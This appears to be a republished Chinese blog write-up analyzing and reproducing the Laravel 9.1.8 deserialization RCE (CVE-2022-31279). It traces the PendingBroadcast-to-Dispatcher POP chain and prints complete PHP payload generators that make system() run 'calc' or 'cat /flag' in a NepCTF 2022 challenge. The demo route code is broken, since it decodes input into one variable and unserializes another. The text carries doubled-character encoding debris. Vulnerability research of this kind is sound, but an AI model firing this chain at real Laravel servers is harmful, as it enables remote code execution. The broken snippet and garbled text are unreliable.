反序列化漏洞是如今很常見的漏洞類型,有很多分類,也有很多繞過方式。本文選取了一個今年比較典型的反序列化漏洞,進(jìn)行了一個分析并復(fù)現(xiàn)。
漏洞詳情
Laravel是一套簡潔、優(yōu)雅的PHP Web開發(fā)框架。
近日,Laravel 被披露存在多個安全漏洞,可允許通過反序列化POP鏈實現(xiàn)遠(yuǎn)程代碼執(zhí)行,如下:
CVE-2022-31279
:Laravel遠(yuǎn)程代碼執(zhí)行漏洞
Laravel 9.1.8在處理反序列化數(shù)據(jù)時,允許通過 IlluminateBroadcastingPendingBroadcast.php
中的 __destruct 和FakerGenerator.php
中的 __call中的反序列化POP鏈實現(xiàn)遠(yuǎn)程代碼執(zhí)行。
漏洞分析
根據(jù)漏洞信息的描述, 跟進(jìn)src/Illuminate/Broadcasting/PendingBroadcast.php
中的__destruct
方法, 可以看到這里的$this->events
和$this->event
均為可控的, 尋找可用的dispatch
方法:
跟進(jìn)src/Illuminate/Bus/Dispatcher.php
中的dispatch
方法, 這里的$command
和$this->queueResolver
均是可控的:
跟進(jìn)dispatchToQueue
方法, $command
和$this->queueResolver
均是可控的, 可以利用該方法中的call_user_func
方法來進(jìn)行命令執(zhí)行的利用:
接下來就是命令執(zhí)行的語句, 注意到上圖中的代碼$connection = $command->connection ?? null;
, 這里可以通過src/Illuminate/Broadcasting/BroadcastEvent.php
中的類中變量來控制$connection
, 從而達(dá)到命令執(zhí)行的目的。
POP Chain
<?php
namespace Illuminate\Contracts\Queue{
interface ShouldQueue {}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Queue\ShouldQueue;
class BroadcastEvent implements ShouldQueue {
function __construct() {}
}
class PendingBroadcast{
protected $events;
protected $event;
function __construct() {
$this->event = new BroadcastEvent();
$this->event->connection = "calc";
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}
namespace {
$pop = new \Illuminate\Broadcasting\PendingBroadcast();
echo base64_encode(serialize($pop));
}
漏洞復(fù)現(xiàn)
我們從laravel官網(wǎng)下載了Laravel 9.1.8
的源碼之后,添加一個入口,修改routes\web.php
如下:
<?php
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', function (\Illuminate\Http\Request $request) {
$vuln = base64_decode($request->input("vuln"));
unserialize($ser);
return "H3rmesk1t";
});
添加了入口之后,通過上面的分析和得到的POP鏈,即可進(jìn)行復(fù)現(xiàn):
相同漏洞的復(fù)現(xiàn)
本次復(fù)現(xiàn),源碼來源于cj師傅之前出題所用的源碼和2022NepCTF的題目:
下載源碼后,是Laravel框架:
hello路由
是一個反序列化點
可以用POP鏈:
<?php
namespace Illuminate\Contracts\Queue{
interface ShouldQueue {}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Queue\ShouldQueue;
class BroadcastEvent implements ShouldQueue {
function __construct() {}
}
class PendingBroadcast{
protected $events;
protected $event;
function __construct() {
$this->event = new BroadcastEvent();
$this->event->connection = "cat /flag";
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}
namespace {
$pop = new \Illuminate\Broadcasting\PendingBroadcast();
echo base64_encode(serialize($pop));
}
可以得到結(jié)果:文章來源:http://www.zghlxwxcb.cn/news/detail-459320.html
因此復(fù)現(xiàn)成功!文章來源地址http://www.zghlxwxcb.cn/news/detail-459320.html
到了這里,關(guān)于Laravel 9.1.8 反序列化漏洞分析及復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!